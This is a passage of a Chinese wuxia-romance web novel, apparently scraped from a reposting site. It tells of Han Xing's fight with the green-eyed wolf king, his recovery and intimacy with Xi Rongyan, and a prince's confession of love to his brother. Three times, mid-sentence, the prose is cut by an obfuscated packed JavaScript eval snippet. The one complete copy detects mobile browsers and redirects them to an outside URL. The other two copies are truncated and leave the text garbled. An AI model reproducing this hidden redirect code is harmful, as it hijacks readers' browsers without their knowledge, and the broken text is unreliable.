寒星扫了一眼四周,心中暗暗思忖,“这地方冷得要死,又透着一股子阴气,决非久留之地,我得赶紧想办法在太阳落山前离开这儿。” 狼峰岭外。 艾山带着两百兵马,焦急地往狼峰岭赶来。 山口处,达亚娜手握九节鞭,俨然一副恭候多时的模样。 艾山勒住马,带着一丝丝期待看向她的身后,却只瞧见了一群北疆骑兵。 达亚娜眉开眼笑,看起来心情不错,“艾山将军,没想到这么快我们就又见面了。”她看了眼艾山旁边,又笑道,“欸,那个黑熊没跟你一块儿过来吗?” 艾山抽出刀,刀尖正对着她,冷声道,“大汗呢!” 达亚娜不紧不慢地说,“他呀……” 艾山怒火中烧,“快说!不然我即刻要了你的命!” 达亚娜闻言收了笑容,她冷哼一声,别有深意地拿鞭子指了指艾山的身后,“他在哪里你应该去问他呀,你吓唬我做什么,更何况,你统共就这点儿人马,还指望能和我一战吗?” “人多又如何,还不都是我的手下败将,怎么,你们刚才吃的苦头还不够吗!不怕死的就上前来!本将军正有满腔的怒气没地方撒呢!来呀!” 此言一出,北疆的士兵们面面相觑,他们刚刚的确伤亡惨重,即便现在艾山只带了区区两百人马,他们心底也依旧有那么一丝惧意。 达亚娜回头扫视一圈,心中暗骂,“一群废物。” 她对艾山笑了笑,“我不想和将军拼的鱼死网破,我只是不想让将军带着你的人去送死。” “少废话,我再问你一遍,大汗到底在哪里!” 达亚娜看着他的眼睛,一字一顿,“狼,峰,岭。” 狼峰岭。 风咆雪哮,日头西沉,在山隘间吹开了一大片的金黄。 寒星已经在山里来来回回兜了好几个圈子,却依然没有找到出去的路口。 漠北的冬天是极冷的,狂风撕扯着蓬松的云朵,雪沙打在人的脸上,火辣辣的疼。 照夜飞矢鼻孔呼出来的热气,下一秒就在黑亮的鬃毛上缀结成了一串串冰珠。 这雪丝毫没有停下来的迹象,反而是越下越大,雪不停,脚印马上就会被新的积雪覆盖,这样下去,他们一人一马走不出去,迟早要被冻死在这儿。 寒星自言自语道,“这是什么鬼地方,不行,不能再耽搁了,我得赶紧想办法离开这儿。” 他拢了拢身上的大氅,抬指吹哨,试图唤来惊风。 可惜距离太远,哨声还没等传出群山,已被肆虐的风雪声斩断。 破碎的哨声摔在了雪地里,忽然间,他的照夜飞矢把耳朵一竖,随即步伐开始错乱,半走半跑半颠,任凭寒星如何安抚都不管用。 寒星觉出一丝蹊跷,他敛息四顾,在狰狞的风中嗅到了一股可怖的气息。 稀薄的白气中,赫然闪出四个红点,那是两头饿狼充满血的眼睛。 寒星暗叫不好,他从四岁起就生活在中原,对大漠的风土人情知之甚少,但寒星在幼时,也曾听母亲讲过狼峰岭和碧眼狼王的故事,他那时从未料到,自己有一天也会面临狼的围攻。 好消息是,这两只狼毛色黄燥,其中一只行动起来还有点顺拐,显然是腿上有伤,它们应该是在狼群中地位比较低的那种,平时抢不到什么东西吃,所以才会因为饥饿出来觅食。 寒星觉得自己对付两只战斗力较弱的狼,应该还是有几成胜算的。 坏消息是,狼有两只,而他,只有一人。 更坏的消息是,狼喜群居,其余的狼应该也在这儿附近,所以必须速战速决,马上离开。 照夜飞矢因为本能,不安地挪动着前蹄,它的呼吸急促厚重,像是冲锋前的声声战鼓。 寒星死死盯着这两头狼的动作,右手悄无声息地搭在了剑上。 青霜剑的攻击范围只有三尺,他的机会只有一次。 饿狼的眼睛里闪着红光,只听两声咆哮,两只狼一左一右,冲他恶狠狠扑了过来。 寒星在心里默默计算着距离,他绷紧了身体,纹丝不动。 机会只有一次。 迎面而上的饿狼呲开血盆大口,亮出了里面狰狞尖锐的獠牙。 寒星冷静地看着这一切,眼中竟无半分惧意。 三……二……一…… 忽听“唰”的一声,青霜剑寒光一凛,遽然而出,两头饿狼应声倒地。 浓郁的血腥味浸在雪地里,照夜飞矢不自觉地后退半步。 寒星将沾满了狼血的青霜剑插入雪中,等再拔出来的时候已然光洁如新。 他满意地笑笑,翻手收剑入鞘,拍了拍照夜飞矢的脖颈,轻声道,“走啦——” 照夜飞矢却像没有听见似的,反而又往后退了两步。 “呜……欧……” 清晰尖利的狼嗥声此起彼伏,沿着山脉,传来了一声又一声。 寒星的笑容凝在了脸上,他抬眼,看见了漫天飞雪中射来的两道绿光。 是碧眼狼王。 还有它的狼群。 艾山用刀鞘顶着达亚娜的后背,催促道,“让他们快点!” 达亚娜的双手被布条捆着,她狠狠瞪了艾山一眼,转头吩咐北疆骑兵,“都快点。” 原来就在刚刚,艾山挟持了达亚娜,以此威逼北疆骑兵跟着他们一起去狼峰岭救人。 又走了一段时间的路,艾山照例从胡禄中取出一支羽箭,“嗖”的一声钉在地上。 雪天路滑,很容易迷失方向,羽箭长而锐,有了这个做标记,他们就不愁走出不去了。 达亚娜见状,嗤笑一声,嘲讽道,“哼,我还以为艾山将军不怕死呢。” 艾山淡淡扫了她一眼,斩钉截铁地说,“我与大汗共生死。” 达亚娜正要开口,忽听雪山间传来了一声狼嗥,那声音粗重威严,听得人头皮发麻。 士兵们惊恐地叫了起来,“碧眼狼王!这一定是碧眼狼王的声音!” 艾山的心头涌起不祥的感觉。 达亚娜挑了挑眉,“看来,狼峰岭马上就要诞生新的传奇了。” “一、二、三、四、五、六、七、八、九、十、十一、十二。” 算上碧眼狼王,正好十二只。 这群狼大如花豹,吊眼上斜,一对对幽暗的瞳孔里深埋着狡诈与残忍。 寒星扯了扯嘴角,不由得苦笑,天无绝人之路,绝起来是真没路啊。 他扫视了一圈碧眼狼王所带领的狼群,缓缓抽出了腰侧的青霜剑。 寒星不认为自己能一下子杀死十二只狼,更何况,这里还有传说中的那只碧眼狼王。 可是,他别无选择,他得活着,活着,才能见到阿烟。 狼群形成了一个包围圈,一点点向他逼近。 寒星决定率先出击,他足尖轻点,腾空而起,一剑正中一只狼的咽喉。 只听得一声凄厉的哀嚎,它狠狠抽搐了几下,转瞬间便没了动静。 碧眼狼王愤怒了,它的嗥叫声沉稳肃杀,一瞬间,整支狼群冲他飞扑而出。 寒星迅速在地上打了个滚儿,避开了五六只向他扒来的利爪,随即把剑往雪地里一插,借力跃到了距离他最近的一只狼的背上。 这只狼受了惊,拼命地上下窜动,想要甩掉自己身上的不速之客。 但不论它如何发狂,寒星依旧立得稳稳当当。 其余的十只狼纷纷调转方向,爪下蓄力,闪电似地向他猛扑过来。 寒星瞅准时机,手中青霜剑破风而鸣,但见银光一闪,血花翻涌,三只狼的前腿被齐齐斩断,他纵身一跃,握住方才横扫而出的青霜剑,手腕翻转,剑尖冲下,顺势就朝身下的狼捅了进去。 这一剑,快,准,狠,直直刺进了狼头,剑身完全贯入,滴着血的剑尖从狼颈处穿出,整把剑只有刻着雕花莲纹的剑柄没有沾染到半分血污,还干干净净地露在外面。 狼的一双吊眼被头顶喷溅而出的滚热液体烫得猩红,这只狼已经死了,但因为死的太快,它充着血的前爪依旧在乱挠乱抓,在干净的雪地上留下了一团狰狞可怖的血痕。 同伴的伤亡震慑了剩下的狼,它们盯着寒星,不敢再贸然进攻。 寒星扫视一圈,心里默默盘算着,“死了两只……伤了三只……还有七只……” 杀一头狼太费力气,寒星已经同北疆人厮杀了一整天,眼下又以一己之力,接连杀死了好几只狼,他的力气已经不多了,但他依然面不改色,甚至连多余的一口气都没有喘。 寒星心里明白,这些狼奸诈狡猾的很,但凡自己露出了一点破绽,下一刻就会被它们撕烂,咬碎。 他就这么在狼的尸体上伫立着,手握青霜,眼神冰冷,与一步步逼近的碧眼狼王对视。 擒贼先擒王。 他们之间,终有一战。 寒星还是第一次静下心来仔细观察这个无人不晓,却又无人亲眼见过的北疆狼王,说实话,碧眼狼王并没有传说中的那么庞大腴重,它甚至不是整个狼群中最大的一只,但它无疑是这些狼中眼神最为凶狠,体格最为强壮的一只。 这头碧眼狼王生得很漂亮,金灿灿的余辉洒在它健康亮泽的毛皮上,为它镀上了一层耀眼的油光。 碧眼狼王没有急于进攻,它在寒星跟前慢悠悠挪着步子,仔细打量着这个古怪的敌人。如果不是因为要入冬了,狼群急需存储大量的食物来熬过漫长的严冬,狼王不会带着狼群去攻击这个看起来不太好对付的猎物,这并不是一桩划算的买卖。 它死死盯着寒星,幽冷黮暗的眼眸中射出两道森然的绿光,倒竖的针状瞳孔遽然收缩,随即猛地向他扑蹿上去。 寒星举剑欲击,没想到那狼王阴险狡诈,似乎早已洞悉了寒星的意图。 它的后爪抓地,两只前爪避开了削铁如泥的剑锋,紧紧抵在较钝的剑脊处,用力往回顶。 寒星被震得虎口发麻,额头渗出丝丝冷汗,他心道,“好大的力气,不愧是狼王!” 忽然,他的腿部和背部传来一股钻心的疼痛,原来有两只狼趁着他与狼王对峙,神不知鬼不觉地绕到了他的身后,趁机偷袭。 钩子一样的狼爪扯烂了寒星的氅衣,八根坚硬锋利,长如匕首的狼牙深深嵌入他的皮肉,他甚至能清晰地听见骨头和獠牙交错破裂的声音。 “嘶——”寒星不由得倒抽一口凉气。 中计了! 狼性狡猾,擅伪行,喜群攻,这话果然不错。 寒星强忍身上的疼痛,凝神运气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他借势左脚前滑,身形后仰,一记东风破赫然出手,青霜剑扎扎实实地刺进了碧眼狼王最为柔软的腹部,与此同时,他将左腿猛地向上一提,足尖使力,正好踢在了狼王的伤处,狼王被他踹得飞了出去。 寒星凌空一个翻身,只收剑的工夫便反手戳瞎了背上那只狼的眼睛。 冰屑轻扬,雪片翻舞,冷冽新鲜的空气中,融合着淡淡一缕血香。 一瞬间,寒星霍然领悟了此前自己苦心孤诣,钻研许久而未得的内功心法“怜冰决”的要义之所在。 原来,所谓怜冰决,不在于“冰”,而在于“怜”。 他还来不及高兴,便见又有几头狼冲他扑了上来,他足下一点,清瘦颀长的身影轻捷逸放,剑尖擦着冰雪飞速荡开,一股强大的气流随之破空而出,几头狼遽然倒地,再无声息。 寒星仗剑而立,唇齿间弥漫着血腥的味道,他喉结一滚,生生将涌出的鲜血咽了回去。 天地间一片死寂,只闻风声、雪声、呼吸声。 他提着剑,靠在狼的尸体上缓慢地喘了口气。 忽地,一个庞大的影子冲他飞扑过来,他始料未及,被这股强大的冲击力带倒在了雪地里。原来,方才被他踢飞出去的碧眼狼王并没有死,只是受了伤。 此刻,它的爪子按在寒星身上,狰狞的四只狼牙对准寒星的脖颈,狠狠咬了下去。 寒星还没来得及举剑格挡,便听一声长唳,碧眼狼王猛地抽搐了一下,它的瞳孔在一瞬间涣散,整个身子朝着寒星栽了下来。 刹那间,寒星手中的青霜剑遽然而出,直直穿过碧眼狼王的咽喉。 滚烫的猩红溅落寒星的眼角,他却已经没有抬手擦拭的力气了。 好累,好困,好想睡一觉…… 寒星的眼皮不自觉地垂落,他由着这个沉重的身躯压在自己身上,沉沉昏睡了过去。 不知过了多久,寒星听到,仿佛有人在喊自己。 这声音飘过连绵起伏的山峦,跌跌宕宕,落到了他的耳边,“大汗!大汗你在哪里!” 寒星在睡梦中勾了勾嘴角,心道,“什么狗屁大汗,吵死了,不理他们,由着他们叫去。” 他想翻个身继续睡,却又觉得自己好像被什么东西压住了,动弹不得,便只好侧了侧脸,忽然听见有人在喊,“寒星!你死哪儿去了!寒星!” 他心中一动,这是木头和阿烟的声音! 寒星蓦地睁开了眼,瞧见惊风和照夜飞矢正寸步不离地守在自己身侧。 方才的千钧一发之际,正是惊风给了碧眼狼王致命一击。 此刻,它用洁白坚实的两翼,同照夜飞矢一起为寒星挡住了狼峰岭的风霜,为他在天寒地冻间护下了最后一丝生气。 寒星抬手抚摸着惊风的飞羽,呢喃道,“幸好有你。” 他从地上抓了把雪,团成一个小球,随即用力往天上一抛,“木头,我在这儿!” 四周瞬间安静了一下,随即便听到百余只铁骑疾速狂奔而来,震得寒星又咳嗽了起来。 剧烈的痛感从四肢百骸袭来,寒星疼得直咧嘴,他是真的没力气再折腾了。 可他不能这么狼狈的出现在人前。 他又挣扎了一下,终于成功托举着碧眼狼王的尸体,极慢极缓地站了起来。 众人赶到时,正好看见了这一幕。 红得发紫的霞光染透了群山,寒星擎着鹰,牵着马,在一片狼尸血海中,仗剑而立。 96. 怜冰护心脉 “寒星——”席容烟扑上去,一把抱住了他,哭道,“你吓死我了,我还以为——” 寒星勉力挤出一丝微笑,伸手揉了揉她的脑袋,“哭什么呀,我这不是没死吗。” 艾山怔了怔,哽咽道,“大汗你没事真是太好了。” 寒星冲他略点了点头,随即看向艾山身边的寒木。 “木头,不是让你跟着阿烟吗,你怎么……咳咳……” 寒木快步上前,伸指探了探他的脉息,微微皱眉,“烟姑娘听说你出事了,一定要过来找你,我当然得跟着她过来。”他附在寒星耳边,压低了声音,“你怎么样,还撑得住吗?” 寒星笑了笑,“不妨事,借你的袍子一用。” “好。” 寒木解下自己的战袍,披在了寒星身上,给他系带子时又悄声询问,“真的没事?” 寒星抢过带子,自己系好,“放心,死不了。” 说罢,寒星翻身上马,动作利落,丝毫不见受伤之态。 他迎着风,举剑大喊,“西域的将士们,你们从今往后,不必再畏惧碧眼狼王的传说!碧眼狼王已死,狼峰岭从此亦不复存在!” 众将士跪倒一片,齐声高呼,“大汗勇猛无双,我等誓死追随!” 寒星硬生生把喉咙里涌出的那股甜腥吞了下去,他牵牵嘴角,勉力一笑。 艾山道,“大汗,这里风大雪大,不宜久留,眼看着天就要黑了,我们还是快些出山吧,末将来时,已在沿途留下标记,大汗请随我来。” “好,艾山,你在前引路。” “是,大汗!另外,末将活捉了北疆公主,是生是死,全凭大汗定夺。” 寒星这才注意到被绑着的达亚娜,他看着她,冷冷道,“就是你把本汗引到了狼峰岭。” “你果然活下来了,我就知道,我达亚娜看中的男人绝不一般,不过,让你陷于险境的人可不是我。” 达亚娜说着,冲寒星身旁的席容烟扬了扬脸,似笑非笑道,“而是,她!” 席容烟不解地看向寒星,寒星温和一笑,“一个疯子罢了,不必理会。” “疯子?”达亚娜冷笑起来,“难道你不是为了她送你的东——” 忽听“唰”的一声,寒星身形一闪,手中的青霜剑直指她的眉心。 刺骨的寒意霎时漫延全身,达亚娜睁大了眼睛,她的面色苍白,红唇紧抿,不再作声。 艾山不自觉上前一步,“大汗——” 下一秒,剑尖利落地挑开捆着达亚娜的绳索。 寒星看着她,声音一如既往的冰冷,“本汗说过,我不杀女人,北疆公主,带着你的人马上给我滚回去,从今天起,狼峰岭以南的土地皆归我西域所有,北疆人不准再踏入狼峰岭一步,否则,本汗即刻出兵,将你的北疆夷为平地!听明白了吗!” 达亚娜定定注视着这个让自己又爱又恨的男人,咬牙道,“听明白了。” 王帐。 “嘶——” 席容烟心疼地为寒星擦拭额头上的汗珠,“寒星你怎么了,你别吓我。” “不要紧。”寒星喘了口气,抬手虚虚一指,“阿烟,你把那个药匣给我拿过来。” 席容烟闻说,急忙捧来匣子,“你要上药是吗,我来帮你。” 寒星摇头,“不行,会吓到你的,还是我自己来吧。” 席容烟抱着匣子往后退了两步,“我不怕!” 寒星见她如此固执,愣了片刻,随即眼睛一弯,“好吧,那你待会儿要是吓哭了,可不许赖我呀。” “哼,小瞧我,我才不会吓哭呢!” 席容烟小心翼翼地揭开寒星外面披着的一袭玄袍,待看清楚里面的景象后,整个人立时怔忪在了那里,“你怎么,怎么会伤得这么重,寒星,你——” 寒星无所谓地笑笑,从她手中接过药瓶,随即自己动手,将碎成破絮的衣物同血肉模糊的皮肉一点点分离,他一边给自己上药,一边用哄小孩的口吻安慰道,“被狼咬的,别担心,一点小伤罢了,死不了人的。” “你这样……真的不用找个大夫看看吗……” “久病成医,我自己就是最好的大夫。” 席容烟眼睛红红的,“寒星,你要惜命。” 寒星点点头,“放心吧,我这个人一向最怕死了。” 药粉淋在断裂的脊骨上,寒星只觉得火辣辣地疼。 寒星是惯常给自己上药的,可他下手一向没个轻重,每次都是强忍着不发出声音,这会子当着席容烟的面儿,他倒也不避讳让她瞧见自己的狼狈样儿。 忽然,他觉得腕上一凉,他怔了怔,随即瞧见席容烟纤细的玉指覆在了他的手腕上。 “还是我来吧。” 他原本想说不用,可不知怎的,他最终也没说出口。 席容烟的动作轻轻柔柔的,像是一阵和煦的春风,吹散了他的痛楚。 寒星阖上眼,感受着从她指尖缓慢流泻的温度,他突然觉得,受伤也可以是一种享受。 也不知过了多久,他听见席容烟低低的声音,“好了。” 他看了眼席容烟,故作轻松道,“欸,你眼睛怎么红了,我们刚才可说好了,不许哭的。” 席容烟伸手抹了把眼睛,“谁哭了,是这药粉飘进我眼睛里了,我出去透透气。” “嗯,对了,我受伤的事不要告诉别人。” 席容烟迟疑了一下,应了声,“好。” 她快步推帘而出,寒木正在帐外兜着圈子,见她出来了,连忙跑了过来,“寒星怎么样。” “不好,他伤得很重,外头的袍子一掀,里面的骨头就露了出来,他不想让别人知道他受伤的事,自己给自己上了药,这怎么能行呢,我正想找你商量,要不要把巫医请过来。” 寒木叹了口气,“他还是这么个脾气,和从前一模一样,算了,我先去瞧瞧他。” 寒木进来时,寒星正把药瓶收进匣中,寒星抬眼看见是他,笑了笑,“她还是去找你了。” 寒木也不废话,拽起他的手臂给他把脉,眉头越皱越紧,“你这脉象好生奇怪。” 寒星恹恹地收回手,“我方才用了怜冰决给自己疗伤,一时脉息不稳也很正常。” 寒木一惊,“怜冰决?就是你此前一直未能掌握的内功心法怜冰决!” “不错,今日因缘际会,我在同碧眼狼王搏斗之时豁然了悟,这怜冰决的要义不在于冰,而在于怜,怜之一字,慕往闵来,既可凝雪为冰,破刃封喉,亦可心怀莲花,慈悲万物。” 寒木跟着呢喃道,“破刃封喉,慈悲万物,如此说来,这怜冰决既可杀人,亦可救人,难怪你用它为自己疗伤……”寒木低下头,仔细观察他的伤口,果见断骨复位,血肉重塑,这才放下心来,“看来你今日倒是因祸得福了。” 寒星扫了眼旁边的药匣,哂然一笑,“是啊,我今日的确是因祸得福了。” “对了,那个北疆公主说你误入狼峰岭是因为烟姑娘,这究竟是怎么回事?” “这个嘛……”寒星知道寒木虽然看起来大大咧咧的,却是个胆大心细之人,料着瞒他不过,于是坦然说道,“她抢走了我一样东西,以此引我进入狼峰岭。” “什么东西?” 寒星从怀中掏出同心结,在寒木眼前晃了一晃。 寒木挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“没有,随便转转,寒星他——” “烟姑娘尽管放心,我方才检查过他的伤口,确实没事了。” 席容烟听说“没事”二字,顿时松了口气,她双手合十,口中念着,“阿弥陀佛,阿弥陀佛,没事就好。” 寒木犹豫了一下,迟疑道,“有一件事,我不知道应不应该对烟姑娘讲。” “将军有什么话,不妨直言。” “其实今天寒星之所以会中了那个北疆公主的奸计,是因为她抢走了寒星的一样东西。” 席容烟睁大了眼睛看向寒木,便听寒木缓缓道,“那东西,就是你送给寒星的同心结。” 席容烟愣了片刻,喃喃自语道,“原来是这样……怪不得……你怎么这么傻……” 寒木叹了口气,“寒星满心满眼里都是姑娘,我们认识十来年了,我还没见他对谁这么上过心,说实话,我瞧见他如今这个样子,既为他高兴,也为他忧心。” “我不明白,将军为何忧心?” “情深不寿,慧极必伤。”[1] “这话说的……还真是蛮有道理……” 寒木忽然朝她跪下,“烟姑娘,寒木想求你一件事。” 席容烟吃了一惊,连忙弯腰扶他,“我怎能受将军如此大礼,将军快快请起。” “不,请姑娘听我说完。” “你说……” 寒木一脸真诚道,“寒木恳请姑娘,如果有一天你不爱他了,也请你看在他曾经对你的好的份上,不要把他往死路上逼。” “将军这话从何说起?”席容烟疑惑不解,“我既深爱着他,又怎会把他逼上绝路呢?” “世事难料,寒木但求姑娘允准!” 席容烟无奈道,“好吧,我答应你就是了,你快起来吧!” 寒木这才起身,“多谢姑娘,寒木还有一事拜托姑娘。” “你说。” “希望姑娘不要将方才你我二人的对话告诉寒星。” “好。” 97. 秋风拂秋词 星驰意,月纵横。 大漠的风很硬,席容烟微仰着头,身下有力的风化作臂弯,将她整个人囫囵托起,她的鬓角坠着亮晶晶的珠子,细碎的喘息声淹没在一阵阵强硬的浪涛中。 洁白的光辉化作一滩涟漪,最终流淌进西方的水天一色。 寒星撑着头,含笑问道,“你今天是怎么了,一直心不在焉的。” 席容烟犹自想着寒木的话,好半天才应了一声,“嗯?你说什么?” 寒星瞧着她呆呆傻傻的模样,不觉扬了扬嘴角,他低头凑在她的耳边,灼热湿腻的气息扑在她红润的颊侧,“为夫卖了这么大的力气,你居然还敢走神,看来——” 席容烟听出了他的言下之意,一时不由得羞红了脸,不待他说完便伸手推他,“去你的。” “哈哈哈哈,我的阿烟恼了。”寒星爱怜地在她红肿不堪的唇瓣上啄了一口,柔声道,“到底怎么了,阿烟若是有什么为难的事儿,不妨说与为夫听听。” 席容烟眨了眨眼睛,低低唤了一声,“夫君。” “嗯。” “你……是不是有什么事情瞒着我……” 寒星心头陡然一紧,面上却并不动声色,“为什么突然这么问?” 席容烟避而不答,只是伸手轻轻摩挲着他棱角分明的双颊和下颌。 “回答我。” 寒星几乎不假思索地说道,“没有。” 席容烟定定望着他的眼睛,“果真吗?” 寒星不知道这一刻有多漫长,在镇静自若的外表之下,他的心几乎要跳出肺腑,砰砰砰,他什么都听不见了,只能看见她鲜艳欲滴的唇瓣微微张合,有如凌迟般地在问,“果真吗?” 寒星喉咙里发出的声音一如往常的平静,似乎并不属于他自己,“果真。” 席容烟挑了挑眉,松开手,没再说什么。 寒星一把握住她向下滑落的手,“你不信我?” “信。”席容烟说完,顿了一顿,语调轻柔而又坚毅,“只要是你说的,我都信。” 寒星沉默了,半晌,他从后拥住她,他听见自己的声音絮絮呢喃,“阿烟。” 席容烟拍了拍他的手,动作轻缓柔和,像是一个母亲在哄自己做错了事的孩子。 一番挣扎过后,寒星终于鼓起勇气,“对不起,阿烟,我骗了你,我确实有事瞒你。” 席容烟笑了笑,淡淡道,“我知道。” 寒星愣了愣,“你知道?” “我们同床共枕多日,难道我连这个还看不出来吗?” “那你……” 寒星不知道该说些什么,他又一次沉默了下来。 席容烟轻轻叹了口气,“寒星,你对我说过的话,到底哪句是真,哪句是假。” “我……”寒星才要说话,忽觉唇间一片温润,像是浸染在了一团柔柔软软的云朵里。 席容烟阖着双目,用自己的唇堵住了他的嘴,她就这么肆无忌惮地亲吻着他,她的动作带着侵略的性质,好像一头小兽,在他的口中乱撞乱闯,试图留下爱恨交织的痕迹。 过了好一阵,她才放开他,“我宁愿不要回答,也不想你骗我。” 寒星抿了抿唇齿间的伤口,正色道,“阿烟,我对你……假话很少。” 席容烟微微扬眉,没有说话。 寒星以为她不信,忙又补充道,“这一句是真的,我发誓这一句是真的。” “好吧。” 席容烟捧起他的脸,笑意中带了一丝苍凉,月色下,她的脸很白,白到就连月亮也要黯然失色,她的脸上还泛着未曾褪尽的潮红,寒星望着她就像望着一朵盛放的玫瑰,他好担心,这朵玫瑰会在下一刻凋零。 “阿烟,我做过许多坏事,我知道自己是个混蛋,但请你相信,这个混蛋绝对不会伤害你,你这么美好,这么绚烂,你盛开在阳光中,月色下,我怎么舍得让你变得和我一样,在没有人知道的角落,在没有光亮的地方,啃噬着自己的血肉,赖以为生,赖以活命。” “嗯。” 席容烟似是有些倦了,她随口应了一声,把头靠在寒星的肩上,找了个舒服的姿势半卧着,“你不明白,其实女人很傻的,很多时候,即便知道自己被骗了,只要男人肯继续骗下去,她们也会选择相信,所以阿星,你要骗,就骗一辈子,千万不要半途而废。” 寒星怔住,过了好半天也没缓过神来,直到怀中人的呼吸声逐渐平稳均匀,他才意识到,她应该是已经睡着了,知道她听不见了,他悬着的心缓缓放下。 寒星垂眸仔细注视着她的面庞,她睡得很熟,嘴角还挂了一丝浅浅的笑意,纯净的月辉在黑夜中徐徐升起,徐徐落下,那么明媚,那么恬淡,一切都是岁月静好的样子。 寒星看了一阵,突然自嘲般地笑了起来,兀自说道,“阿烟,其实我也不想瞒你的,只是我很贪心,也很胆小,说实话,我这辈子从来就没怕过什么,我所有的胆怯和惧意都来自于你,阿烟,我总想多留你一阵,哪怕只有一分一秒,只要和你在一起,也是值得的。” 他说得很轻,也很快,仿佛再慢一秒,就会被人捉住似的。 席容烟没有听见,她已经睡着了,这一次,她没有梦见那场可怖的大火。 梦中,一片白茫,分不清天与地,日与夜。 她孤零零一个人走着,走向看不清的远方。 贤乐宫。 秋尽,冬来。 魏晗远坐在亭中,身上一件半旧的珠白缂丝夹袄,他捧着琴,拨着弦,弹着曲,念着词。 他平素很少说话,即便四周空无一人,他也忌惮着隔墙有耳,是决计不愿意张口说话的,可是今日,有些情感在他的胸中翻涌沸腾,他只觉得遏制不住,不得不以词明志,以曲遣怀。 午后的风中裹着一丝慵懒的意味,他的琴音缓若流水,正如他的心一般,随她而去。 “秋风清,秋月明,落叶聚还散,寒鸦栖复惊。相思相见知何日?此时此夜难为情!入我相思门,知我相思苦,长相思兮长相忆,短相思兮无穷极,早知如此绊人心,何如当初莫相识。”[1] “哈哈哈哈。”肃安王拍着手,笑着走进亭中,“为兄还是第一次听你唱歌,好听呀。” 魏晗远看见是他,忙放下琴,欢喜地喊了声,“大哥!” 肃安王爽朗一笑,身上没有半点戾气,在魏晗远面前,他褪去了战场上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502805|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铠甲与风霜,他不再是那个威慑四方的肃安王,只是魏晗远的哥哥。 “大哥你怎么过来了!太好了!我昨儿还想着派人去请你呢!真是巧了!” “皇上派我去西域和尤里吐孜汗谈一桩交易,我惦记着平乐,也就答应了下来,要不了多少时日就得动身,我估摸着这一去,又要好久,我就想着进宫看看你和母妃。” 魏晗远听说他要去西域,神情不免有些担忧,“此一去,路遥天寒,大哥一定要当心啊。” “放心吧。”肃安王在亭中随意找了个位置坐下,抬手指了指那张琴,问道,“远儿,你方才弹的曲子叫什么名字?” “《秋风词》。” “哦。”肃安王点了点头,“我不通琴道,只是这曲子听起来似乎有些悲啊。” 魏晗远犹豫了一下,解释道,“是的,秋风词,送秋归,自然是有点感伤意味的。” “嗯。”肃安王伸手拍了拍他的肩膀,“北风卷地,草木凋零,晚秋却是一片肃杀之景,只不过,”他话锋一转,语调复又慷慨起来,“正所谓自古逢秋悲寂寥,我言秋日胜春朝,其间亦有欣欣向荣之态,远儿莫要为此悲伤。”[2] 魏晗远笑了笑,“我不过是没事儿弹着玩罢了,无碍的,大哥不要为我担心。” 肃安王没说话,只是静静端详了魏晗远一阵,“远儿,你瘦了。” “啊?” 魏晗远低下头,这才发现去岁还十分合身的珠白缂丝夹袄,如今竟是松了一大圈,他一时间有些木然,心中苦笑道,衣带渐宽,为伊憔悴,原来柳永说的,都是真的。 肃安王皱着眉,“宫里有人为难你吗?” “没,没有。”魏晗远连忙摆手,“怎么可能啊,我大哥这么厉害,谁敢为难我呀。” 肃安王的神色略微缓和了一些,“那是为了什么?” “嗯……” 魏晗远很想说,却又有点不敢说,上次一别,他派人暗中打听苏蕙菁的情况,这才知道,原来她是太后指给皇兄的人。虽然听说皇兄并没有看中她,可是女人也好,皇位也罢,都有瓜田李下之嫌,只要皇兄没有赏赐给他,他就不能去要,他若是去要,便会被人怀疑他存了觊觎的心思,他万万不能做这种蠢事,可他又真的克制不住自己的这份思念。 “你我之间,有什么不能说的?” “大哥……” 是啊,他们二人一母同胞,从小一处吃一处睡,是亲得不能再亲的亲兄弟,肃安王比魏晗远年长许多,他对魏晗远不仅有兄长之情,更有君父之谊,魏晗远从小到大就没有瞒过他任何事,所以这件事情,魏晗远也不想对他有所隐瞒。 魏晗远低下头,有些不好意思地说,“大哥,我喜欢上了一个姑娘。” 肃安王愣了一下,随即哈哈大笑起来,“哈哈哈,这是好事呀!谁家姑娘,你说,我这就去找皇上给你们作主。” 魏晗远的嘴唇动了动,缓缓道,“她姓苏。” “苏?” 肃安王似乎是想到了什么,他脸上的笑容渐渐淡去,“该不会是苏方的女儿吧?” “嗯……” 魏晗远的头埋得更低了,“就是她。” 98. 君心似我心 肃安王沉默了,魏晗远喜欢上了苏蕙菁,而这苏蕙菁是苏方的女儿。 这件事,不好办。 一则,太后娘娘最近频频召她进宫说话,显然是想让皇上将她纳入后宫,以其父的声望,纵然不能立即封她为后,封个妃封个嫔还是绰绰有余的,对皇上的女人存了觊觎之心,这是他们为臣为弟的大忌。 二则,苏方为官清正廉洁,为人方直有度,他的官声一直不错,前段日子又刚被皇上升了官职,眼下风头正盛,魏晗远若是在这个时候和苏家提亲,势必要被人怀疑,他想要借助苏家,在朝中谋求自己的势力。 魏晗远虽然只是个闲散王爷,可他的母妃是陪伴先帝最久的贤太妃,他的兄长又是大魏战功赫赫,威名远扬的肃安王,他的一举一动都会被人放大,都会被人怀疑,都会被人当作茶余饭后的谈资,这件事,的确不好办。 魏晗远率先开口,打破了死一般的寂静,“哥,算了,就这样吧。” 肃安王转头注视了他许久,认真地问,“远儿,你真的喜欢她吗?” 